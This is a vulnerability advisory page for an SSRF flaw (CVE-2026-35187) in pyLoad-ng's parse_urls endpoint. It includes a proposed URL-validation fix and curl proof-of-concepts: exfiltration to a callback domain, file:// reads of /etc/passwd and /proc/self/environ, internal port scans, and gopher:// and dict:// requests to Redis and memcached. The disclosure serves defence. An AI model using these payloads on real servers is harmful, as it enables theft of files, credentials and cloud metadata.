Skip to main content

Python CVE-2026-35187

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-04-04 https://github.com/pyload/pyload GHSA-2wvg-62qm-gj33
7.7
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Re-analysis Queued
Apr 20, 2026 - 17:07 vuln.today
cvss_changed
Analysis Generated
Apr 04, 2026 - 04:30 vuln.today
CVE Published
Apr 04, 2026 - 04:18 nvd
HIGH 7.7

DescriptionNVD

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

  • Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
  • Read local files via file:// protocol (pycurl reads the file server-side)
  • Interact with internal services via gopher:// and dict:// protocols
  • Enumerate file existence via error-based oracle (error 37 vs empty response)

Vulnerable Code

src/pyload/core/api/__init__.py (line 556):

python
def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)
# NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))

No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.

Steps to Reproduce

Setup

bash
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest

Log in as any user with ADD permission and extract the CSRF token:

bash
CSRF=

PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

bash
curl -s -b "pyload_session_8000=<SESSION>"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc"   http://localhost:8084/api/parse_urls

Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

PoC 2: Local file read via file:// protocol

bash
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}

The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.

Files confirmed readable:

  • /etc/passwd, /etc/hosts
  • /proc/self/environ (process environment variables)
  • /config/settings/pyload.cfg (pyLoad configuration)
  • /config/data/pyload.db (SQLite database)

PoC 3: Internal port scanning

bash
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')

PoC 4: gopher:// and dict:// protocol support

bash
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls

Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).

Impact

An authenticated user with ADD permission can:

  • Read local files via file:// protocol (configuration, credentials, database files)
  • Enumerate file existence via error-based oracle (Couldn't open file vs empty response)
  • Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens)
  • Scan internal network services and ports via error-based timing
  • Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict://
  • Exfiltrate data via DNS/HTTP to attacker-controlled servers

The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.

Proposed Fix

Restrict allowed protocols and validate target addresses:

python
from urllib.parse import urlparse
import ipaddress
import socket

def _is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    try:
        for info in socket.getaddrinfo(hostname, None):
            ip = ipaddress.ip_address(info[4][0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except (socket.gaierror, ValueError):
        return False
    return True

def parse_urls(self, html=None, url=None):
    if url:
        if not _is_safe_url(url):
            raise ValueError("URL targets a restricted address or uses a disallowed protocol")
        page = get_url(url)
        urls.update(RE_URLMATCH.findall(page))

AnalysisAI

Server-Side Request Forgery in pyLoad-ng allows authenticated users with ADD permissions to read local files via file:// protocol, access internal network services, and exfiltrate cloud metadata. The parse_urls API endpoint fetches arbitrary URLs without protocol validation, enabling attackers to read /etc/passwd, configuration files, SQLite databases, and AWS/GCP metadata endpoints at 169.254.169.254. …

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

24 hours: Inventory all pyLoad-ng installations and document which users hold ADD permissions; implement network segmentation to restrict pyLoad-ng access to cloud metadata endpoints (169.254.169.254). 7 days: Restrict ADD permission grants to only trusted administrative users; disable multi-protocol support (file://, gopher://, dict://) if pyLoad-ng configuration allows protocol filtering. …

Sign in for detailed remediation steps.

Share

CVE-2026-35187 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy